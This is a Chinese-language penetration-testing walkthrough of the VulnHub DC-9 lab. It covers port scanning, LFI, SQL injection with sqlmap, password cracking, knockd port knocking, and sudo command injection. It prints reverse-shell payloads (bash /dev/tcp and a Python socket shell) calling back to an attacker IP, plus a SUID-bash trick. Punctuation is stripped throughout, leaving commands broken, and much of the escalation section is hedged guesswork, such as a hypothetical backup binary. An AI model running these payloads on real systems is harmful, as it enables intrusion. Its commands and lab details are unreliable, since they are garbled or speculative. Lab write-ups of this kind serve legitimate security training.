
1. 项目概述与核心价值最近在整理VulnHub靶场实战笔记翻到了DC-9这个靶机发现很多朋友在提权环节尤其是面对那个“端口敲门”服务knockd时容易卡壳。这个靶机确实挺有意思它不像一些纯Web漏洞的靶场而是把Web渗透、数据库注入、本地文件包含LFI和端口敲门提权这几个经典环节串在了一起形成了一个非常贴近真实渗透测试场景的链条。我自己在复现的时候也花了不少时间去理解knockd的配置逻辑以及如何利用它来获取一个反向Shell。今天我就把这个靶机的完整渗透流程特别是knockd提权的原理和实操细节掰开揉碎了讲清楚。无论你是刚接触VulnHub的新手还是想巩固一下提权技巧的老手这篇超详细的复盘笔记应该都能给你带来一些直接的帮助。DC-9靶机模拟了一个存在多处安全缺陷的网站服务器环境。我们的目标很明确从外部网络无任何凭证开始通过信息收集、漏洞利用一步步拿到Web服务器的低权限Shell然后进行内网横向移动或本地提权最终拿到系统的最高权限root。整个流程中最关键的转折点就是利用knockd这个服务。它本身是一个安全增强工具但配置不当反而成了我们提权的跳板。理解了这个点DC-9的核心也就掌握了。2. 环境准备与信息收集2.1 靶机环境搭建与网络配置首先你得有一个攻击环境。通常我们会在VMware或VirtualBox里安装Kali Linux作为攻击机。DC-9的靶机镜像.ova或.vmdk文件需要从VulnHub官网下载。下载完成后直接导入到虚拟机软件中。这里有个关键点务必确保攻击机和靶机在同一网络模式下。为了模拟真实内网渗透我强烈推荐使用“Host-Only”仅主机或“NAT网络”模式让它们处于同一个虚拟子网内比如192.168.56.0/24。这样既能保证连通性又不会影响你的物理主机网络。启动靶机后第一件事是确定它的IP地址。由于靶机通常不会显示IP我们需要用netdiscover或arp-scan进行二层发现。在Kali终端里我习惯用sudo netdiscover -r 192.168.56.0/24或者更精准一些sudo arp-scan --localnet扫描结果中除了你已知的设备如你的Kali本身、物理机虚拟网卡那个陌生的MAC地址对应的IP大概率就是DC-9靶机。假设我们找到的是192.168.56.105。注意有些虚拟化环境特别是VirtualBox的NAT网络可能需要稍等片刻或者重启一下靶机的网络服务sudo systemctl restart networking才能正确获取IP。如果一直扫不到检查一下虚拟机的网络适配器设置是否正确。2.2 全方位端口与服务探测拿到IP后就是标准的端口扫描。这里不建议一上来就用全端口猛扫可以先快速扫描常见端口再针对性地深入。我常用的组合拳是# 快速扫描Top 1000端口获取初步信息 sudo nmap -sS -T4 192.168.56.105 # 如果上面发现开放了80端口HTTP再详细扫描一下版本和服务 sudo nmap -sV -sC -p 80 192.168.56.105 -oA dc9_web_detail # 最后进行一次全面的全端口扫描确保没有遗漏任何隐蔽服务 sudo nmap -p- -T4 192.168.56.105根据DC-9的典型设置nmap初始扫描结果通常会显示只开放了80端口HTTP服务。这很容易让人以为这是个单纯的Web靶场。但全端口扫描-p-后你可能会发现一些“奇怪”的现象某些高端口号例如7469,8475,9842在扫描时状态是filtered被过滤而非closed关闭。这个细微差别是第一个关键线索它暗示着防火墙或某种访问控制机制的存在阻止了我们对这些端口的直接探测。这些端口很可能就是后续knockd要“敲”的目标。2.3 Web应用初步侦察既然80端口开放浏览器直接访问http://192.168.56.105。DC-9的Web界面是一个简单的员工搜索页面。我们立刻要做几件事查看页面源码寻找注释、隐藏表单、JS文件中的敏感信息。目录枚举使用gobuster或dirb工具爆破隐藏的目录和文件。gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak手动测试功能点重点关注搜索框尝试输入单引号‘、”等看是否有报错初步判断是否存在SQL注入。在DC-9中目录枚举很快会发现一些关键文件比如/admin.php、/manage.php或者/footer.php。访问/footer.php可能会直接暴露一个重要信息网站底部显示了被包含的文件路径。这强烈暗示了本地文件包含LFI漏洞的可能性。我们可以尝试经典的LFI Payload如/footer.php?file../../../../etc/passwd来验证并读取系统文件。3. 漏洞利用与初始立足点获取3.1 SQL注入漏洞挖掘与利用DC-9的搜索功能是典型的注入点。通过输入‘和‘ and ‘1’‘1、‘ and ‘1’‘2我们可以确认存在基于字符串的SQL注入漏洞并且是回显型的。下一步就是利用sqlmap进行自动化利用获取数据库信息。但这里我建议先手工测试一下理解漏洞原理# 测试列数 order by 5-- - # 当order by 6报错时说明有5列 # 确定回显点 union select 1,2,3,4,5-- -如果页面正常显示并且数字2,3,4等位置的内容被输出到网页上说明这些位置是回显点。接下来就可以用sqlmap高效地拖库了sqlmap -u http://192.168.56.105/results.php --data searchtest --batch --dbssqlmap会识别出注入点并列出所有数据库。在DC-9中你会发现一个名为Staff的数据库里面有一张Users表。dump这张表你会得到一组用户名和密码MD5哈希值。3.2 密码破解与登录绕过拿到MD5哈希密码后我们需要破解它们。可以使用在线彩虹表如crackstation.net或者用john或hashcat在本地破解。# 将哈希值保存到hashes.txt文件 echo “5f4dcc3b5aa765d61d8327deb882cf99” hashes.txt # 使用john破解rockyou.txt是常用的密码字典 john --formatraw-md5 --wordlist/usr/share/wordlists/rockyou.txt hashes.txt破解成功后你会得到一组明文密码比如transorbital1。但是直接尝试用这些凭证登录Web管理后台如/admin.php或/manage.php可能会失败。这是一个常见的陷阱Web应用的认证逻辑和数据库中的认证逻辑可能不一致或者密码经过了二次加密。这时需要结合之前发现的LFI漏洞。尝试读取Web应用本身的配置文件比如/var/www/html/config.php、/var/www/html/inc/connect.php等寻找数据库连接信息和可能的认证逻辑。在DC-9中通过LFI读取/var/www/html/config.php你可能会发现另一组数据库凭证用于另一个数据库比如users库。用这组新凭证登录才能成功进入管理后台。3.3 利用文件上传或LFI获取Shell进入管理后台后目标就是获取一个反向Shell。DC-9的后台通常有一个文件上传功能比如添加新员工照片。我们可以尝试上传一个包含PHP代码的图片马将?php system($_GET[‘cmd’]);?嵌入到图片的EXIF信息中然后结合文件包含漏洞来执行代码。如果上传过滤很严那么LFI依然是我们的好朋友。在PHP环境中经典的LFI转RCE的方法是利用/proc/self/environ或日志文件污染。但更稳定的是使用php://input流需要allow_url_include为On或expect://需要安装expect扩展但这些条件往往不满足。在DC-9的典型路径中更常见的突破口是通过后台的“添加用户”或类似功能向系统注入一个可以SSH登录的用户。你可能会在后台找到一个“Add User”页面它允许你指定用户名、密码和用户IDUID。如果你尝试添加一个UID为0root的用户系统可能会阻止。但你可以尝试添加一个普通用户比如hacker然后利用这个用户通过其他服务如之前扫描发现的隐藏端口登录。然而DC-9的精华在于你通过后台发现的“File Management”或“View Logs”功能实际上可能是在调用系统的/etc/knockd.conf文件。通过LFI读取这个文件你将揭开端口敲门服务knockd的全部秘密。4. 端口敲门knockd服务深度解析4.1 Knockd工作原理与配置解读Knockd是一个端口敲门守护进程。它的设计初衷是增强安全性将SSH等敏感服务的端口默认隐藏在防火墙后状态为filtered或closed。只有客户端按照特定顺序向一系列指定的“敲门端口”发送数据包如TCP SYN包后knockd才会临时修改防火墙规则打开目标端口如SSH的22端口一段时间。通过LFI读取到的/etc/knockd.conf配置文件是通关的关键。其内容通常如下[options] logfile /var/log/knockd.log [openSSH] sequence 7469,8475,9842 seq_timeout 5 command /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags syn [closeSSH] sequence 9842,8475,7469 seq_timeout 5 command /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags syn配置解读[openSSH]: 定义打开SSH的敲门规则。sequence 7469,8475,9842:敲门顺序。必须严格按照这个端口号顺序进行“敲击”。seq_timeout 5: 整个序列必须在5秒内完成超时则无效。command /sbin/iptables -I INPUT ...: 敲门成功后的命令。这里是在iptables的INPUT链最前面插入一条规则允许来源IP%IP%访问本机的22端口。tcpflags syn: 敲门包的类型是TCP SYN包。[closeSSH]: 定义关闭SSH的敲门规则顺序相反命令是删除规则。核心要点这个配置意味着只要我们能在5秒内按照7469 - 8475 - 9842的顺序向靶机的这三个端口各发送一个TCP SYN包靶机的防火墙就会为我们的攻击机IP临时开放22端口SSH。4.2 手动与自动化敲门技术理解了原理我们就可以“敲门”了。有手动和自动两种方式。手动敲门使用netcat或nmap# 方法一使用nmap发送TCP SYN包-sS sudo nmap -sS -p 7469 192.168.56.105 sudo nmap -sS -p 8475 192.168.56.105 sudo nmap -sS -p 9842 192.168.56.105 # 必须在5秒内快速执行完以上三条命令对操作速度要求高。 # 方法二使用netcat (nc) 发送空数据但需注意knockd配置可能只识别SYN包普通nc连接可能无效。 # 更可靠的方法是使用knock这个专用客户端工具。自动化敲门使用knock客户端工具Kali通常预装了knock工具这是最方便的方法# 基本语法knock 靶机IP 端口1 端口2 端口3 [选项] sudo knock 192.168.56.105 7469 8475 9842执行这条命令后knock工具会自动在极短时间内按顺序向目标端口发送数据包。执行成功后不会有明显回显。我们需要立刻验证22端口是否开放sudo nmap -sS -p 22 192.168.56.105如果状态从之前的filtered变成了open恭喜你敲门成功实操心得敲门成功后SSH端口开放的时间是有限的取决于knockd配置可能默认是10秒或几分钟。所以最好提前准备好SSH登录命令一检测到端口开放立即连接。也可以写一个简单的bash循环脚本持续检测22端口一旦开放就自动连接。5. SSH登录与内部信息搜集5.1 利用获取的凭证进行SSH登录端口敲开后我们有了SSH通道。现在需要用户名和密码。回想一下我们之前从数据库里获取的那些凭证。在DC-9中通常你会从Staff数据库的Users表或者后来发现的users数据库的user表中找到一组可以用于SSH登录的凭证。常见的用户名可能是admin,fredf,marym等。尝试用这些凭证登录ssh fredf192.168.56.105输入对应的密码。如果成功你就获得了一个低权限的交互式Shell通常是bash或sh。5.2 受限Shell突破与内部枚举登录后立即检查当前的Shell环境echo $SHELL whoami idid命令会显示你的用户IDUID、组IDGID以及所属的所有组。这能让你清楚自己的权限级别。接下来进行标准的内网/本地信息收集查看当前目录和家目录ls -la查看是否有敏感文件如.bash_history,.ssh/目录,user.txt第一个flag。检查sudo权限这是提权的黄金命令。sudo -l会列出当前用户无需密码可以以root身份运行哪些命令。仔细查看输出任何非(ALL : ALL)的条目都可能成为提权向量。查找SUID/SGID文件find / -type f -perm -4000 -o -perm -2000 2/dev/null。SUIDSet User ID文件在执行时会以文件所有者的权限运行。如果找到一个属于root的SUID文件并且其功能可被利用如/bin/bash,find,vim,nano,more,less等就可能直接提权。检查计划任务Cron Jobscat /etc/crontab或ls -la /etc/cron.*/。查看是否有以root权限运行的、可写的脚本或任务。查看进程和网络连接ps aux和netstat -tulpn或ss -tulpn。寻找以root身份运行的有趣服务或者内部开放的其他端口。查看可写目录find / -type d -writable 2/dev/null。全局可写的目录有时可以用于放置恶意脚本通过cron或服务调用。在DC-9中执行sudo -l很可能会给你一个惊喜。你可能会发现当前用户比如fredf可以无需密码以root身份运行一个名为/opt/devstuff/test.py的Python脚本。这就是我们提权的关键。6. 权限提升Privilege Escalation实战6.1 分析可利用的sudo权限sudo -l的输出可能类似于User fredf may run the following commands on dc-9: (root) NOPASSWD: /opt/devstuff/test.py这意味着我们可以直接运行sudo /opt/devstuff/test.py并且这个脚本会以root权限执行。我们的目标就是利用这个脚本获取一个root shell。6.2 审计与利用Python脚本首先查看这个脚本的内容cat /opt/devstuff/test.py脚本内容可能非常简单例如#!/usr/bin/python3 import os print(“Testing file reading...) file_to_read input(“Enter the file to read: “) with open(file_to_read, ‘r’) as f: print(f.read())这是一个文件读取脚本。它接收用户输入的一个文件路径然后以root权限读取并打印其内容。这本身就是一个强大的功能我们可以直接读取/etc/shadow文件获取root哈希或者读取/root/root.txt最终的flag。但是我们的最终目标是获得一个交互式的root shell。如何通过这个文件读取脚本实现呢这里需要一点技巧。方法一利用Python的os模块执行命令检查脚本是否导入了os或subprocess模块。如果导入了并且脚本中有类似os.system()或subprocess.call()的调用我们可以尝试通过输入注入命令。但上面的例子没有直接调用系统命令。方法二利用文件操作写入SSH密钥既然脚本能以root权限读写文件我们可以让它帮我们把攻击机的公钥写入到root用户的authorized_keys文件中。在攻击机Kali上生成一对SSH密钥如果还没有的话ssh-keygen -t rsa。查看公钥cat ~/.ssh/id_rsa.pub。在靶机的低权限Shell中我们需要构造一个输入让test.py脚本将这段公钥写入/root/.ssh/authorized_keys。但脚本是读取文件不是写入。所以这个方法可能行不通除非我们找到脚本的写入功能点。方法三利用脚本的导入import机制更通用Python脚本在运行时会从一些特定目录如当前目录、环境变量PYTHONPATH指定的目录查找需要导入的模块。如果我们可以控制这些目录中的一个并放置一个恶意的Python模块文件那么当test.py以root权限导入这个模块时我们的恶意代码就会以root权限执行。具体步骤在靶机上找一个当前用户有写权限的目录比如/tmp。cd /tmp创建一个与test.py脚本中导入的模块同名的Python文件。例如如果test.py开头有import mymodule我们就创建mymodule.py。如果脚本没有导入第三方模块我们可以尝试劫持标准库吗这比较困难。更常见的情况是脚本可能导入了os但os是内置模块无法劫持。 我们需要仔细看脚本。也许脚本里有一行import sys或者import socket劫持这些同样困难。关键在于寻找脚本中可能存在的动态导入或从非标准路径导入。例如import sys sys.path.append(‘/home/fredf/mylibs’) import custom_lib如果/home/fredf/mylibs目录可写我们就可以在那里创建custom_lib.py。在DC-9的典型场景中test.py脚本可能比上面的例子更复杂一些或者存在其他漏洞。但最常见的、最直接的提权方法往往是下面这种方法四利用脚本执行任意命令如果脚本调用了eval或exec检查脚本中是否有eval()、exec()、os.system()、subprocess.Popen()等函数并且其参数部分或全部来自用户输入比如我们输入的file_to_read。如果存在这就是一个命令注入漏洞。假设脚本是这样的#!/usr/bin/python3 import os file_to_read input(“Enter the file to read: “) os.system(“cat ” file_to_read) # 危险未对输入进行过滤那么我们可以输入/etc/passwd; /bin/bash这样实际执行的命令就变成了cat /etc/passwd; /bin/bash。分号分隔了两个命令第二个命令/bin/bash会以root权限启动一个shell。但注意os.system启动的shell可能不是交互式的。更好的Payload是/etc/passwd; /bin/bash -i-i参数表示启动一个交互式shell。如果脚本使用的是subprocess.call([“cat”, file_to_read])由于参数是列表形式注入分号可能无效。这时需要寻找其他注入点或者利用通配符、反引号等。方法五直接利用脚本的读功能获取敏感信息辅助其他提权如果以上方法都无效脚本仅仅是个安全的文件读取器那么我们至少可以用它来读取一些关键文件为其他提权方法铺路sudo /opt/devstuff/test.py然后输入/etc/shadow获取root的密码哈希尝试用john破解。输入/root/.bash_history查看root的历史命令可能发现其他漏洞或密码。输入/opt/devstuff/test.py自身如果可读看看有没有注释掉的敏感代码。输入/etc/sudoers查看其他用户的sudo权限。在DC-9的实际案例中经过对test.py的仔细审计你可能会发现它并非简单的文件读取。它可能调用了另一个命令行工具并且没有安全地处理用户输入。例如脚本中可能有一行import subprocess subprocess.call([“/usr/bin/backup”, “-f”, file_to_read])然后我们去检查/usr/bin/backup这个文件。用file命令查看它可能是一个ELF可执行文件。进一步用strings /usr/bin/backup查看字符串可能会发现它内部调用了tar命令并且是直接拼接字符串的形式// 伪代码 char command[256]; sprintf(command, “tar -czf /backups/%s.tar.gz %s”, backup_name, source_path); system(command);如果source_path来自用户输入通过test.py传递那么这里就存在命令注入。我们可以通过test.py传入包含分号或反引号的路径从而注入命令。6.3 最终提权与Root Flag获取一旦找到命令注入点构造Payload获取root shell就水到渠成了。假设通过审计/usr/bin/backup我们发现注入点在source_path参数。通过test.py执行sudo /opt/devstuff/test.py当脚本提示输入文件时我们输入/tmp/whatever; /bin/bash -i或者如果它调用的是/usr/bin/backup那么backup程序可能会将我们的输入作为source_path。最终的Payload需要根据实际情况调整例如/tmp/whatever; chmod s /bin/bash这条命令会尝试给/bin/bash设置SUID位如果成功之后任何用户执行/bin/bash -p都会获得root shell。但现代系统通常有保护可能失败。更可靠的方法是直接启动一个反向Shell。首先在攻击机KaliIP为192.168.56.102上监听一个端口nc -lvnp 4444然后在靶机的test.py输入中注入反向Shell命令。由于输入可能经过Python和C程序两层传递需要注意转义和引号。一个常用的Payload是/tmp/whatever; bash -c ‘bash -i /dev/tcp/192.168.56.102/4444 01’或者使用Python反向Shell/tmp/whatever; python3 -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.56.102”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/bash”,”-i”]);’如果注入成功你会在Kali的nc监听端口中看到一个root权限的Shell。最后在这个root shell中就可以轻松找到最终的flag了cat /root/root.txt7. 渗透路径复盘与加固思考7.1 DC-9完整攻击链梳理让我们从头到尾回顾一下DC-9的渗透链条这有助于理解防御方该如何层层设防信息收集端口扫描发现80端口全端口扫描发现filtered的高端口线索。Web渗透目录枚举发现LFI漏洞点footer.php。利用LFI读取系统文件/etc/passwd,config.php获取数据库凭证和knockd配置。发现搜索框SQL注入利用sqlmap拖库获得用户凭证哈希。破解哈希结合LFI找到的另一个数据库凭证登录Web后台。权限提升准备在后台发现文件管理功能间接暴露系统文件或通过LFI直接读取/etc/knockd.conf获得端口敲门序列。横向移动使用knock工具按序列敲门打开隐藏的SSH端口22。内部立足使用数据库中找到的某一组凭证成功SSH登录获得低权限Shell。本地提权枚举发现sudo -l特权可以root身份运行/opt/devstuff/test.py。审计test.py及其可能调用的外部程序如/usr/bin/backup发现命令注入漏洞。利用命令注入漏洞获取反向Shell或直接执行命令升级到root权限。7.2 从防御视角看漏洞成因与加固建议这个靶场几乎是一个经典漏洞的合集。从防御角度每个环节都可以加强针对信息泄露LFI对文件包含功能进行严格的白名单过滤禁止目录遍历../。关闭不必要的错误回显。将Web应用与敏感配置文件隔离。错误信息在生产环境关闭PHP/SQL错误提示使用自定义错误页面。针对注入漏洞SQL注入使用参数化查询Prepared Statements或ORM框架杜绝字符串拼接。对输入进行严格的类型检查和过滤。命令注入所有调用系统命令的地方避免使用os.system、os.popen、subprocess.call(shellTrue)。必须使用时应对用户输入进行严格的过滤和转义或使用shlex.quote()。优先使用subprocess.run()并传递参数列表。针对认证与授权密码存储使用强哈希算法如bcrypt, Argon2并加盐。禁止使用MD5。权限分离Web应用使用的数据库账户应只有最小必要权限SELECT, INSERT等不应拥有DROP、FILE等权限。sudo配置遵循最小权限原则。除非绝对必要不要配置NOPASSWD。如果需要让用户运行某个脚本应仔细审计该脚本的安全性确保其没有注入风险或者使用更安全的方式如通过特定的包装器或API来实现功能。针对端口敲门knockd不是银弹Knockd可以隐藏服务但一旦序列泄露如通过LFI安全性即告破。不能替代强认证。安全配置使用更复杂的敲门序列更多端口、随机化。结合IP白名单。定期更换序列。确保knockd.conf文件权限为600仅root可读。日志监控监控/var/log/knockd.log和/var/log/auth.log对异常的敲门尝试和SSH登录进行告警。7.3 拓展思考与练习建议DC-9通关后可以尝试一些变种练习加深理解手动注入完全不用sqlmap手工完成从判断注入类型、猜解列数、联合查询获取数据到拖库的全过程。Knockd变种如果knockd的command配置的不是开放22端口而是执行一个自定义脚本呢思考如何利用。SUID提权如果在靶机上还发现了其他常见的SUID提权向量如find、vim、nano、less/more尝试不用sudo而是通过这些SUID二进制文件进行提权。内核漏洞提权在真实的旧系统上可以尝试使用linux-exploit-suggester等工具检查内核漏洞并尝试利用。但在VulnHub靶场中通常不会设置需要内核提权的关卡。这个靶场最精髓的部分在于将Web漏洞、信息泄露、服务配置不当和权限提升串联成一个完整的故事线。它告诉我们安全是一个整体任何一个环节的疏忽都可能被攻击者利用形成致命的攻击链。